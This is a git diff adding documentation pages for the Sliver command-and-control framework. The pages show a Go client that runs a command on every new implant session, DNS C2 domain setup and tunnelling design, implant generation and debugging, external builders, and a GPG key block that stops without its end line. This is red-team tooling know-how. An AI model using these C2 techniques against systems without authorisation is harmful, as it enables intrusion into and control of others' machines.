diff --git a/docs/sliver-docs/pages/_document.tsx b/docs/sliver-docs/pages/_document.tsx
index 832682e384..6e5aa92039 100644
--- a/docs/sliver-docs/pages/_document.tsx
+++ b/docs/sliver-docs/pages/_document.tsx
@@ -2,7 +2,7 @@ import Document, { Head, Html, Main, NextScript } from "next/document";
import React from "react";
// This generates the https: and wss: "connect-src" directives based on the above backends list so its a little easier to edit.
-const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self' data: https://user-images.githubusercontent.com; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`;
+const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self' data: https://user-images.githubusercontent.com https://i.imgur.com; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`;
class MyDocument extends Document {
static async getInitialProps(ctx: any) {
diff --git a/docs/sliver-docs/pages/docs/index.tsx b/docs/sliver-docs/pages/docs/index.tsx
index 4be793c890..d79b525c5b 100644
--- a/docs/sliver-docs/pages/docs/index.tsx
+++ b/docs/sliver-docs/pages/docs/index.tsx
@@ -1,4 +1,5 @@
import CodeViewer, { CodeSchema } from "@/components/code";
+import { frags } from "@/util/frags";
import { Themes } from "@/util/themes";
import {
Card,
@@ -36,15 +37,21 @@ const DocsIndexPage: NextPage = () => {
},
});
- const [name, setName] = React.useState(docs?.docs[0].name || "");
- const [markdown, setMarkdown] = React.useState(docs?.docs[0].content || "");
-
+ const [name, _setName] = React.useState(decodeURI(frags.get("name") || ""));
+ const setName = (name: string) => {
+ frags.set("name", name);
+ _setName(name);
+ };
+ const [markdown, setMarkdown] = React.useState(
+ name === ""
+ ? docs?.docs[0].content
+ : docs?.docs.find((doc) => doc.name === name)?.content || ""
+ );
React.useEffect(() => {
- if (docs) {
- setName(docs.docs[0].name);
- setMarkdown(docs.docs[0].content);
+ if (docs && name !== "") {
+ setMarkdown(docs?.docs.find((doc) => doc.name === name)?.content);
}
- }, [docs]);
+ }, [docs, name]);
if (isLoading || !docs) {
return Loading...
;
diff --git a/docs/sliver-docs/pages/docs/md/Custom Clients.md b/docs/sliver-docs/pages/docs/md/Custom Clients.md
new file mode 100644
index 0000000000..b27fd22bf2
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Custom Clients.md
@@ -0,0 +1,108 @@
+Although the `sliver-client` is the default way to interact with a `sliver-server` and with implant sessions, there might be a time where you would want to automate some tasks upon reception of certain events.
+
+To do so, one case use [sliver-script](https://github.com/moloch--/sliver-script), [sliver-py](https://github.com/moloch--/sliver-py) or write a custom client in another language. As all the communications between the client and the server are based on gRPC, any language with gRPC support should in theory be used to create a custom client.
+
+## Writing a Go client
+
+In this example, we will focus on writing a custom Go client that executes a new system command on every new implant that connects to the sliver server.
+
+Create a new Go project somewhere on your file system:
+
+```
+mkdir sliver-custom-client
+cd sliver-custom-client
+touch main.go
+go mod init github.com//
+go get github.com/bishopfox/sliver
+```
+
+The module path (`github.com//`) can be anything, as long as it respects the [requirements](https://golang.org/ref/mod#go-mod-init).
+
+The next step is to write our client code (`main.go`):
+
+```go
+package main
+
+import (
+ "context"
+ "flag"
+ "io"
+ "log"
+
+ "github.com/bishopfox/sliver/client/assets"
+ consts "github.com/bishopfox/sliver/client/constants"
+ "github.com/bishopfox/sliver/client/transport"
+ "github.com/bishopfox/sliver/protobuf/clientpb"
+ "github.com/bishopfox/sliver/protobuf/commonpb"
+ "github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+func makeRequest(session *clientpb.Session) *commonpb.Request {
+ if session == nil {
+ return nil
+ }
+ timeout := int64(60)
+ return &commonpb.Request{
+ SessionID: session.ID,
+ Timeout: timeout,
+ }
+}
+
+func main() {
+ var configPath string
+ flag.StringVar(&configPath, "config", "", "path to sliver client config file")
+ flag.Parse()
+
+ // load the client configuration from the filesystem
+ config, err := assets.ReadConfig(configPath)
+ if err != nil {
+ log.Fatal(err)
+ }
+ // connect to the server
+ rpc, ln, err := transport.MTLSConnect(config)
+ if err != nil {
+ log.Fatal(err)
+ }
+ log.Println("[*] Connected to sliver server")
+ defer ln.Close()
+
+ // Open the event stream to be able to collect all events sent by the server
+ eventStream, err := rpc.Events(context.Background(), &commonpb.Empty{})
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ // infinite loop
+ for {
+ event, err := eventStream.Recv()
+ if err == io.EOF || event == nil {
+ return
+ }
+ // Trigger event based on type
+ switch event.EventType {
+
+ // a new session just came in
+ case consts.SessionOpenedEvent:
+ session := event.Session
+ // call any RPC you want, for the full list, see
+ // https://github.com/BishopFox/sliver/blob/master/protobuf/rpcpb/services.proto
+ resp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+ Path: `c:\windows\system32\calc.exe`,
+ Output: false,
+ Request: makeRequest(session),
+ })
+ if err != nil {
+ log.Fatal(err)
+ }
+ // Don't forget to check for errors in the Response object
+ if resp.Response != nil && resp.Response.Err != "" {
+ log.Fatal(resp.Response.Err)
+ }
+ }
+ }
+}
+```
+
+Finally, run `go mod tidy` to make sure to have all the external dependencies, and run `go build .` to build the code.
+
+That's it, you wrote your first custom client in Go for sliver.
diff --git a/docs/sliver-docs/pages/docs/md/DNS C2.md b/docs/sliver-docs/pages/docs/md/DNS C2.md
new file mode 100644
index 0000000000..d24eb10dc9
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/DNS C2.md
@@ -0,0 +1,148 @@
+DNS can be a finicky nuanced protocol, if you're unfamiliar with DNS and related concepts I'd recommending reading up on the protocol and ecosystem a bit before leveraging it for C2.
+
+# Setup
+
+Use the following steps to configure a domain for DNS C2 (and DNS Canaries), you can use any DNS provider you wish as long as you setup the records correctly. I recommend setting a TTL of ~5 minutes for each record.
+
+1. Create an `A` record for your `example.com` pointing at your Sliver server (or redirector) IP address.
+2. Create an `A` record for an `ns1` subdomain (i.e. `ns1.example.com`) that points to your Sliver server (or redirector) IP address.
+3. Create an NS record with an arbitrary subdomain, for example `1` (i.e. `1.example.com`) which is managed by `ns1.example.com`.
+4. You can now use `1.example.com` as your DNS C2 domain e.g. `generate --dns 1.example.com.` (always use the FQDN when issuing DNS commands).
+
+**IMPORTANT:** Always use the FQDN when issuing DNS commands in the Sliver console (e.g., `1.example.com.` note the trailing `.`). DNS is a finicky protocol!
+
+The final configuration should look like for the domain `lil-peep.rip`:
+
+
+**IMPORTANT:** Remember to disable Cloudflare's "cloud" when configuring these records, and to adjust the TTLs.
+
+### DNS Listeners
+
+Make sure you have a DNS listener running, and to use the FQDN again. Sliver will not be able to correctly parse C2 traffic if the parent domain is misconfigured:
+
+```
+sliver > dns --domains 1.example.com.
+
+[*] Starting DNS listener with parent domain(s) [1.example.com.] ...
+[*] Successfully started job #1
+```
+
+### DNS Canaries
+
+DNS Canaries are unique per-binary domains that are optionally inserted during the string obfuscation process. These domains are not actually used by the implant code and are deliberately _not obfuscated_ so that they show up if someone runs `strings` on the implant. If these domains are ever resolved (and you have a `dns` listener running) you'll get an alert telling which specific file was discovered by the blue team.
+
+Example `generate` command with canaries, make sure to use the FQDN:
+
+```
+sliver > generate --http foobar.com --canary 1.example.com.
+```
+
+You can view previously generated canaries with the `canaries` command.
+
+### Ubuntu
+
+**NOTE:** On recent versions of Ubuntu, you may need to disable `systemd-resolved` as this binds to your local UDP:53 and messes up everything about how DNS is supposed to work. To use a sane DNS configuration run the following commands as root because `resolved` probably broke `sudo` too:
+
+```
+systemctl disable systemd-resolved.service
+systemctl stop systemd-resolved
+rm -f /etc/resolv.conf
+vim /etc/resolv.conf
+```
+
+Add a normal `resolv.conf`:
+
+```
+nameserver 1.1.1.1
+nameserver 8.8.8.8
+```
+
+# Under the Hood
+
+**NOTE:** This describes the v1.5+ implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](https://github.com/BishopFox/sliver/wiki/Transport-Encryption), this is just about how do we move bytes back and forth.
+
+### Design Goals
+
+The current implementation of DNS C2 is primarily designed for "speed" (as far as DNS tunnels go) NOT stealth; it does not intend to be subtle in its use of DNS to tunnel data. While DNS can be a very useful protocol for stealthy signaling, Sliver here is creating a full duplex tunnels, doing so covertly would generally be far too slow to be practical. The general rule of thumb is that DNS C2 is easy to detect _if you look_. That's not to say DNS C2 isn't useful or will be immediately detected as is often no one looks. As DNS does not require direct "line of sight" networking, it is often useful for tunneling out of highly restricted networks, and if the environment has not been instrumented to specifically detect DNS C2 it will likely go undetected.
+
+For example glossing over some details, if a DNS client attempts to `foo.1.example.com` it will query it's local resolver for an answer. If the resolver does not know the answer it will start "recursively" resolving the domain eventually finding its way to the "authoritative name server" for the domain, which is controlled by the owner of `example.com`. DNS C2 works by stuff data in a subdomain, and then sending a query for that subdomain to the authoritative name server.
+
+```
+[implant] <--> [resolver]
+ |<------> [.]
+ |<------> [.com.]
+ |<------> [example.com.] (attacker controlled)
+```
+
+This allows an implant to establish a connection to an attacker controlled host even when the implant cannot route TCP or UDP traffic to the internet. The tradeoff is that DNS queries are generally very small, in fact if we're lucky we can maybe encode around ~175 bytes per query (more on that later). So if you want to download a 2Mb file then we're gonna have to send _a lot of_ queries, this means that DNS communication is going to be _slow_ (~30Kbps) even at the best of times.
+
+### Rude DNS Resolvers
+
+The novice hacker often may think that something like DNS, being a fundamental building block of the internet, would be strictly defined and implemented. This of course could not be further from reality; the DNS protocol specification is really more what you call "guidelines" than actual rules. It is common for DNS resolvers to ignore TTL values, modify query contents, drop packets, and lie in responses. Since we cannot control what resolvers we may need use in an operational environment, and we want to build reliable C2 connections, we must expect this type of behavior and design around it.
+
+### Encoder Selection
+
+So if we want to build a "fast" DNS tunnel, we need to be able to pack as much data into each request as possible, more data per query the fewer queries we need to send for a given message.
+
+So how much data can we stuff into a DNS query? Well let's take a look at what goes into a DNS query, a DNS query contains some header fields and then a "questions" section, a single query may contain multiple questions. For example, we can ask "is there an A record for example.com" (an A records contain IPv4 addresses). Now, we can encode a handful of bits into some of the header fields and a couple other sections like the Type/Class, but by far the largest field is `QNAME`, which contains the domain we're asking a question about:
+
+```
+ 1 1 1 1 1 1
+ 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+ +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
+ | |
+ / QNAME /
+ / /
+ +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
+ | QTYPE |
+ +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
+ | QCLASS |
+ +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
+```
+
+Thus we'll focus on encoding data into the `QNAME` (the domain), domains can be up to 254 characters in length and may only contain ASCII `a-z`, `A-Z`, `0-9`, `-`, but `-` may not appear at the beginning of a name, and of course `.` separators. Each subdomain is separated by a `.` and may be up to 63 characters in length. However, DNS is a case-insensitive protocol thus `a` and `A` are considered equal from DNS' standpoint. Now as I said before the spec is really more guidelines than rules, so both `a` and `A` are technically allowed they're just considered equal in DNS' semantics.
+
+Now we want to send arbitrary binary data but DNS does not allow binary data in the `QNAME` so we need to encode binary data into the allowed character set. Typically of course to encode arbitrary binary data into ASCII we'd use [Base64](https://en.wikipedia.org/wiki/Base64) encoding, but DNS only allows 62 distinct characters (`a-z`, `A-Z`, `0-9`) so Base64 cannot be used. Additionally, we must consider that to Base64 `a` and `A` are distinct values whereas to DNS they are not. So it may not always be safe to use a case-sensitive encoding like Base64 if some rude resolver were to convert all the characters in one of our `QNAME`s to lower case. As far as DNS is concerned this is just fine, but it would corrupt the bytes decoded by the server.
+
+To workaround this problem many DNS C2 implementations instead use hexadecimal encoding, which is not case-sensitive and uses only characters (`0-9`, `A-F`), which are allowed in a `QNAME`, to transfer data back and forth from the server. The issue with this is that hexadecimal is a very inefficient encoding, resulting in a x2 size (takes two bytes to encode one byte), and since we want to minimize the number of queries we need to send this isn't a great option. Instead we could use [Base32](https://en.wikipedia.org/wiki/Base32), which is also case-insensitive but uses more characters to display bytes and thus is more efficient at around x1.6 size. Even better yet would be [Base58](https://en.wikipedia.org/wiki/Binary-to-text_encoding#Base58), which is case sensitive like Base64 but only uses chars allowed in a `QNAME`, at a little over x1.33 message size, but we cannot always rely on being able to use Base58 if we encounter a rude resolver.
+
+Sliver's solution to this problem is to first try to detect if Base58 can be used to reliably encode data, and if a problem is detected then fallback to Base32. I call this process "fingerprinting" the resolver.
+
+### Fingerprinting Rude Resolvers
+
+The most common DNS query is an `A` record asking for the IPv4 address associated with some domain name. An IPv4 address is a 4-byte value typically displayed as four octets in Base10 e.g. `192.168.1.1`, but to DNS this is just an arbitrary 4-byte (32-bit) value.
+
+In order to detect if a resolver corrupted any bytes in our message the authoritative name server encodes the [CRC32](https://en.wikipedia.org/wiki/Cyclic_redundancy_check) of the data it received in the IP address of any `A` record that it receives. The implant first generates random bytes and then for each resolver on a host we try to resolve these random bytes and check to see if the CRC32 calculated by the server matches the CRC32 of the data we sent. If any mismatches occur Base32 is used instead of Base58.
+
+### Bytes Per Query
+
+Since the encoder used to send data is selected at runtime, as described above, the number of bytes that can be encoded into a query depends on both the length of the parent domain and the encoder selected. Therefore given some message of `n` bytes we must dynamically determine how many queries are needed to send the message.
+
+First we calculate how many characters of the total domain can be used to encode data, which depends on the length of the parent domain. A maximum of 254 characters per domain always applies regardless of the number of subdomains. So for example we have more space leftover when using `1.abc.com` (254 - 9 = 245) vs. `a.thisisalongdomainname.com` (254 - 27 = 227), however we must also account for `.` every 63 characters, and the number of these may differ depending on the space leftover after the parent domain. The number of characters that can be used to represent data I call the "subdata space" (i.e., not counting the parent domain and `.`'s) and is calculated as:
+
+```go
+254 - len(parent) - (1 + (254-len(parent))/64)
+```
+
+This "subdata space" is the maximum number of characters our encoder (Base32 or Base58) can output per message. So the bytes per message are essentially `n` bytes encoded length must be equal to or less than the subdata space. Its important to note that adding a single byte input to either Base32 or Base58 may result in +2 output characters due to the inefficiencies in the encoders.
+
+### Parallel Send/Recv
+
+In addition to optimizing our use of encoders, we can also increase performance if we can send queries with encoded data out of order, or that is to say in parallel, since sending in parallel will most assuredly result in messages arriving at the server out of order.
+
+To account for this, Sliver wraps the message of `n` bytes in a protobuf message that contains some metadata:
+
+```protobuf
+message DNSMessage {
+ DNSMessageType Type = 1; // An enum type
+ uint32 ID = 2; // 8 bit message id + 24 bit dns session ID
+ uint32 Start = 3; // These bytes of `Data` start at
+ uint32 Stop = 4; // These bytes of `Data` stop at
+ uint32 Size = 5; // Total message size (e.g. last message Stop = Size)
+ bytes Data = 6; // Actual data
+}
+```
+
+This does result in some overhead, and we must account for this as part of the bytes-per-query math.
+
+Since each message contains ordering and size data the server can now receive any part of the message in any order and sort/reconstruct the original message once all the pieces have been received.
diff --git a/docs/sliver-docs/pages/docs/md/Daemon Mode.md b/docs/sliver-docs/pages/docs/md/Daemon Mode.md
new file mode 100644
index 0000000000..0ad304b4af
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Daemon Mode.md
@@ -0,0 +1,28 @@
+Starting in v1.0.0 Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
+
+There are two ways to start the server in daemon mode:
+
+1. Using the command line interface: `sliver-server daemon`
+2. Set `daemon_mode` to `true` in the `configs/server.json` located in `SLIVER_ROOT_DIR` (by default: `~/.sliver/configs/server.json`). The listener can be configured via the `daemon` object. The process will respond gracefully to `SIGTERM` on Unix-like operating systems.
+
+#### Example Config
+
+```
+$ cat ~/.sliver/configs/server.json
+{
+ "daemon_mode": true,
+ "daemon": {
+ "host": "",
+ "port": 31337
+ },
+ "logs": {
+ "level": 5,
+ "grpc_unary_payloads": false,
+ "grpc_stream_payloads": false
+ }
+}
+```
+
+#### systemd
+
+With this config you can easily setup a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](https://github.com/BishopFox/sliver/wiki/Linux-Install-Script) for an example.
diff --git a/docs/sliver-docs/pages/docs/md/Debugging.md b/docs/sliver-docs/pages/docs/md/Debugging.md
new file mode 100644
index 0000000000..47bab0eeb9
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Debugging.md
@@ -0,0 +1,99 @@
+Debugging Sliver binaries (server, client and implant) can be done using the [delve](https://github.com/go-delve/delve) debugger. The following examples are specific to Visual Studio Code, but other IDEs using delve probably have similar configuration options.
+
+Delve can be installed with the following command, note that you'll need `$GOPATH/bin` on your `$PATH`:
+
+```
+go install github.com/go-delve/delve/cmd/dlv@latest
+```
+
+For more details please see https://github.com/go-delve/delve/tree/master/Documentation/installation#installation
+
+# Debugging the Server
+
+Debugging the Sliver needs to be done via delve [remote debugging](https://github.com/golang/vscode-go/blob/master/docs/debugging.md#remote-debugging) feature. This means you need to first start the binary with the following command:
+
+```
+dlv debug \
+--build-flags="-tags osusergo,netgo,go_sqlite,server -ldflags='-X github.com/bishopfox/sliver/client/version.Version=1.1.2 -X github.com/bishopfox/sliver/client/version.CompiledAt=Never -X github.com/bishopfox/sliver/client/version.GithubReleasesURL=github.com -X github.com/bishopfox/sliver/client/version.GitCommit=aabbcc -X github.com/bishopfox/sliver/client/version.GitDirty=Dirty'" \
+--headless \
+--listen=:2345 \
+--api-version=2 \
+--log \
+github.com/bishopfox/sliver/server
+```
+
+To simplify things, you can add this command as a VSCode task, by adding the following to your [`.vscode/tasks.json` file](https://code.visualstudio.com/docs/editor/tasks):
+
+```json
+{
+ "label": "Run Debug Server",
+ "type": "shell",
+ "command": "dlv",
+ "args": [
+ "debug",
+ "--build-flags=\"-tags osusergo,netgo,go_sqlite,server -ldflags='-X github.com/bishopfox/sliver/client/version.Version=0.0.0 -X github.com/bishopfox/sliver/client/version.CompiledAt=Never -X github.com/bishopfox/sliver/client/version.GithubReleasesURL=https://api.github.com/repos/BishopFox/sliver/releases -X github.com/bishopfox/sliver/client/version.GitCommit=debug -X github.com/bishopfox/sliver/client/version.GitDirty=Dirty -X github.com/bishopfox/sliver/client/assets.DefaultArmoryPublicKey=RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L -X github.com/bishopfox/sliver/client/assets.DefaultArmoryRepoURL=https://api.github.com/repos/sliverarmory/armory/releases'\"",
+ "--headless",
+ "--listen=:8844",
+ "--api-version=2",
+ "--log",
+ "github.com/bishopfox/sliver/server"
+ ],
+ "presentation": {
+ "echo": true,
+ "reveal": "always",
+ "focus": true,
+ "showReuseMessage": false,
+ "clear": true,
+ "panel": "new"
+ },
+ "problemMatcher": ["$go"]
+}
+```
+
+Then, you need to create your `.vscode/launch.json` file containing the following:
+
+```json
+{
+ "version": "0.2.0",
+ "configurations": [
+ {
+ "name": "Debug Server",
+ "type": "go",
+ "request": "attach",
+ "mode": "remote",
+ "remotePath": "${workspaceFolder}",
+ "port": 8844,
+ "host": "127.0.0.1",
+ "trace": "log"
+ }
+ ]
+}
+```
+
+Once you're all set, start by running the `Run Debug Server` task, and then hit `F5` (or use the UI to start the debugging task).
+
+# Debugging the Implant
+
+To debug an implant, first make sure you built one by passing the `--debug` flag to the `generate` command. Then, add the following debug configuration to your `.vscode/launch.json` file:
+
+```json
+{
+ "name": "Debug Implant",
+ "type": "go",
+ "request": "attach",
+ "mode": "remote",
+ "remotePath": "",
+ "port": "REMOTE_PORT", // replace this
+ "host": "REMOTE_HOST" // replace this
+}
+```
+
+The `REMOTE_HOST` and `REMOTE_PORT` placeholders will need to be replaced to match the ones you specified on your delve server.
+
+You will need to install the delve debugger on the target host. Once installed, run the delve server using the `exec` mode on your generated implant binary:
+
+```shell
+dlv exec --api-version 2 --headless --listen REMOTE_HOST:REMOTE_PORT --log .\implant.exe
+```
+
+Once the server is running on your target, select the `Debug Implant` debug configuration in VSCode and click on `Run`.
diff --git a/docs/sliver-docs/pages/docs/md/Environment Variables.md b/docs/sliver-docs/pages/docs/md/Environment Variables.md
new file mode 100644
index 0000000000..9dcec6ecba
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Environment Variables.md
@@ -0,0 +1,35 @@
+### Assets
+
+- `SLIVER_ROOT_DIR` - Override sliver root directory, the default is `~/.sliver/`
+
+### Updates
+
+- `SLIVER_NO_UPDATE_CHECK` - If set to any non-blank value, never check for updates
+
+### Generate
+
+#### Override All CC
+
+- `SLIVER_CC_64` - Override all paths to 64 bit cross compiler
+- `SLIVER_CC_32` - Override all paths to 32 bit cross compiler
+
+#### Override Platform CC
+
+- `SLIVER_WINDOWS_CC_64` - Override path to Windows 64 bit cross compiler
+- `SLIVER_LINUX_CC_64` - Override path to Linux 64 bit cross compiler
+- `SLIVER_DARWIN_CC_64` - Override path to MacOS 64 bit cross compiler
+- `SLIVER_WINDOWS_CC_32` - Override path to Windows 32 bit cross compiler
+- `SLIVER_LINUX_CC_32` - Override path to Linux 32 bit cross compiler
+
+#### Override All CXX
+
+- `SLIVER_CXX_64` - Override all paths to 64 bit cross compiler
+- `SLIVER_CXX_32` - Override all paths to 32 bit cross compiler
+
+#### Override Platform CXX
+
+- `SLIVER_WINDOWS_CXX_64` - Override path to Windows 64 bit cross compiler
+- `SLIVER_LINUX_CXX_64` - Override path to Linux 64 bit cross compiler
+- `SLIVER_DARWIN_CXX_64` - Override path to MacOS 64 bit cross compiler
+- `SLIVER_WINDOWS_CXX_32` - Override path to Windows 32 bit cross compiler
+- `SLIVER_LINUX_CXX_32` - Override path to Linux 32 bit cross compiler
diff --git a/docs/sliver-docs/pages/docs/md/External Builders.md b/docs/sliver-docs/pages/docs/md/External Builders.md
new file mode 100644
index 0000000000..d455d92cc3
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/External Builders.md
@@ -0,0 +1,92 @@
+Starting in v1.5.30 Sliver supports "external builders," which allow a Sliver server to offload implant builds onto other systems. This can be used to increase platform support (e.g. connecting a MacBook to a Linux server to enable additional MacOS compiler targets) or increasing performance (e.g. having a low powered cloud host offload a local PC).
+
+External builders can also be used to create custom modifications to the implant source code, or potentially replace the default Sliver implant entirely.
+
+```
+ MacOS .dylib Implant Builds
+ ┌─────────────────────────────────────┐
+ │ │
+ ▼ │
+┌───────────┐ ┌─────┴─────┐
+│ MacOS │ Multiplayer │ Linux │
+│ Builder ├────────────────────────►│ Server │
+│ │ │ │
+└───────────┘ └───────────┘
+ ▲
+┌───────────┐ │
+│Windows │ Multiplayer │
+│ Operator ├─────────────────────────────┘
+│ │
+└───────────┘
+```
+
+## Builders
+
+#### Setup
+
+Any `sliver-server` binary can be started as a builder process using [operator configuration files from multiplayer-mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode) from the server you want to connect the builder to, for example:
+
+```
+./sliver-server builder -c operator-multiplayer.cfg
+```
+
+When started as a builder, the Sliver process will mirror log output to stdout by default, however this can be disabled (see `sliver-server builder --help`).
+
+**⚠️ IMPORTANT:** Make sure the builder and server have identical `http-c2.json` configuration files to avoid incompatibility problems.
+
+**⚠️ IMPORTANT:** Builders must have unique names, by default the builder's hostname will be used, but this can be changed using the `--name` cli flag.
+
+#### External Builds
+
+Any operator can see which builders are connected to the server using the `builders` command. This command will also show what templates, formats, and compiler targets each builder supports:
+
+```
+sliver > builders
+
+ Name Operator Templates Platform Compiler Targets
+=============================== ========== =========== ============== ==========================
+ molochs-MacBook-Pro-111.local moloch sliver darwin/arm64 EXECUTABLE:linux/386
+ EXECUTABLE:linux/amd64
+ EXECUTABLE:windows/386
+ EXECUTABLE:windows/amd64
+ EXECUTABLE:darwin/amd64
+ EXECUTABLE:darwin/arm64
+ SHARED_LIB:windows/386
+ SHARED_LIB:windows/amd64
+ SHARED_LIB:darwin/amd64
+ SHARED_LIB:darwin/arm64
+ SHARED_LIB:linux/amd64
+ SERVICE:windows/386
+ SERVICE:windows/amd64
+ SHELLCODE:windows/386
+ SHELLCODE:windows/amd64
+```
+
+Use the `--external-builder` flag to offload a `generate` or `generate beacon` command onto an external builder:
+
+```
+sliver > generate --mtls localhost --os mac --arch arm64 --external-builder
+
+[*] Using external builder: molochs-MacBook-Pro-111.local
+[*] Externally generating new darwin/arm64 implant binary
+[*] Symbol obfuscation is enabled
+[*] Creating external build ... done
+[*] Build completed in 1m19s
+```
+
+If a given format/target combination is supported by multiple external builders you will be prompted to select one for the build.
+
+#### Limitations
+
+Currently external builds do not support DNS canaries.
+
+## Implant Customization
+
+You are welcome to customize the implant source code under the terms of Sliver's [GPLv3 license](https://github.com/BishopFox/sliver/blob/master/LICENSE). While we plan to improve the workflow over time, currently the easiest way to operationalize changes to the implant source code is:
+
+1. Fork the main Sliver Github repository
+1. Make modifications to the source code
+1. [Compile a Sliver server binary](https://github.com/BishopFox/sliver/wiki/Compile-From-Source)
+1. Connect the customized Sliver server binary to any other C2 server (including mainline servers) as an external builder
+1. Operators can generate the customized implant builds via the `generate --external-builder` flag
+1. Avoid making any changes to `/server` to make merging upstream easier if changes are introduced to the builder APIs
diff --git a/docs/sliver-docs/pages/docs/md/GPG Public Key.md b/docs/sliver-docs/pages/docs/md/GPG Public Key.md
new file mode 100644
index 0000000000..d4fd977bf5
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/GPG Public Key.md
@@ -0,0 +1,58 @@
+This GPG key is used to sign binary artifacts from the Sliver Authors specifically. As anyone is welcome to modify and redistribute the project under the terms of the GPLv3 license an artifact that is not signed by this specific key is not necessarily illegitimate or malicious, it simply means it's not from the original project authors.
+
+https://raw.githubusercontent.com/BishopFox/sliver/master/server/assets/fs/sliver.asc
+
+```
+-----BEGIN PGP PUBLIC KEY BLOCK-----
+
+mQINBGBlvl8BEACpoAriv9d1vf9FioSKCrretCZg4RnpjEVNDyy6Y4eFp5dyR9KK
+VJbm8gP4ymgqoTrjwqRp/tSiTB6h/inKnxlgy7It0gsRNRpZCGslPRVIQQBStiTv
+sxQ4qIxebvku/4/dqoSmJzhNg9MzClR8HTO7Iv74jP7gGMD+gebvXwapstBkua66
+N4OPRVyau3FvkD1hZR+XWLBA9ba3Ow7XRA/jl4Mk5LpsqUbFEWbung4oBPKtyriM
+RkiRxOpkR7tAGGlay0kfCt9V6ip5GSb2+Mogk3jeqsD1BryABAlgWznxBbK5StXN
+OXRzAT1TbGeEZ0K8FCXYWHLuakEntVKF2w1VaJ+bJDRLEecuiCmAj1kh9Xx99o5z
+Lbgq+1Vad11Bx+9teOflLqil3H19YZPQIkunlW2ugqlvg9V5bywjh6GzRM0r83Oo
+mY7aA75Teueaf2DX/23y+2UG924B9F2DrpNOfnIOb7ytFjVzDa02lpedF1OH0cv6
+mRObEr0N6vJh223XduZDMk1uLIuVkmX5uVjfR5lWafWedykDMGbOYi4o+sABc9+8
+3THwPKg4aRhwWBnblPKqzo598BP1/D1+GAxyc59nMNwFfOTmU7PIfhx7laG9/zxA
+L1CygInIxZbr++NW4vr0qqbLHwX9fKY3C2iee5Q4N8a51bqXEdoM1R+gUwARAQAB
+tB1TbGl2ZXIgPHNsaXZlckBiaXNob3Bmb3guY29tPokCTgQTAQgAOBYhBA7TkA0p
+bPoCg6TkZn35EkBESQOcBQJgZb5fAhsDBQsJCAcCBhUKCQgLAgQWAgMBAh4BAheA
+AAoJEH35EkBESQOcRr8QAI/b9hSOd80uk+I75NbxMeBk1QPZvA3Zj6wO22V4vj0w
+9WlgwT30I5Zgjcmp+hp/+Mf+ywHzlyFRySVm6X1JYgLBT0GLZJvLBjW1oEdah7NP
+i1snzU3v1aRYXwhj1HdIO4HHCJ/y4hv7S1AIQgCtsZ+tQFAA7e8xvj/dgC5xjl5p
+2xxC+P9ZQTuCbO8WyxTMPt/Z/nnQfRO0og/GGLYrJyPed+w6wcThgEbW79YCG1jb
++M+MRnGZuuFkG6+J/rPPaj6R+DnDkCria0l5LUuQLTgOgFaLXEhsoGeXF6MjwIIb
+bjL8uf4xmJpudbh1TS1IgriURZQkfypANXGK2O81VOcvrfL+u76Rv96M9BAHbxwZ
+l+iVqXhsYHytV0/E8ouuL3UaX/8QNiD2YSLczHc2htq7yCwo7bNCl5P7kySAjTGM
+mJmlJYD1DfRw8uw1or8EtxxwBVlpzNa5Bpnu6HGh7oFtA1ynGaO+VHngfKSUJkYJ
+7y6ZW9wyWdGiKe5Sdp99ngL5+r9fnUChs3MVSE6Fl/WPobALlh57X51+Q7SENXQZ
+a5mSNRGf4ZaaJnCIo3/PXJcqIjxC2CP5rtab1F9fSttUwWYSBcw7voN2COHfaipJ
+JM5PvcLpyi6K5ZP17kjXkRU+hVWGufEmmakE5Mqr4wfsKcggAF7Oatbll1BpKzb2
+uQINBGBlvl8BEACstG4cNeuYsRuKGinYs3P4X0l/r/Z2gFnwBf3l+X5IQKUxbW/l
+32UMSEPUZCnojp8iHnmnL5N0AXLRi7rGU4coQysVwCd09apFom4WZNHGFfd0u+V/
+zxaJ9Lxn6CVoMR1aQ2WCLSy/q06/T3OY7NE5rimtgPOtW2gXu0NLZD54D4SAdCNr
+GF1iUK1R1AKIiY2R2Orp+yUBdUrFqHX9HyGvSC9eFzNGRBfLuW0P9ygUoyebZRBK
+uT7QONgdduvfwJ7T8qYSHrPotOz/bsqcVEoYXFQ5XR/6WW1wJEeBeqBvhqYpsJaE
+0h1zpzK1z6I5jBolyXdznCvm4OPGErynRIsseOtGrYAPFlMdZEUzrVPxbKQ0LVGH
+bDA+PBgwwktt6wgJImGal8KpIbI6nVChCyLv/Ry7+mW15BFjDx3Mdf7Og4HN1KmZ
+Tync6eEW11sculkC2QWXyrjb+o6bdF/6hNsa4XB2XKPCCMECxrOw5vx3lsau0sot
+3hhMbq+FTRXx/pMNEV9c7JaEB1EkV5UAhHHnieOk4NqlIaib5vU6Z8aBHAEvQ1x/
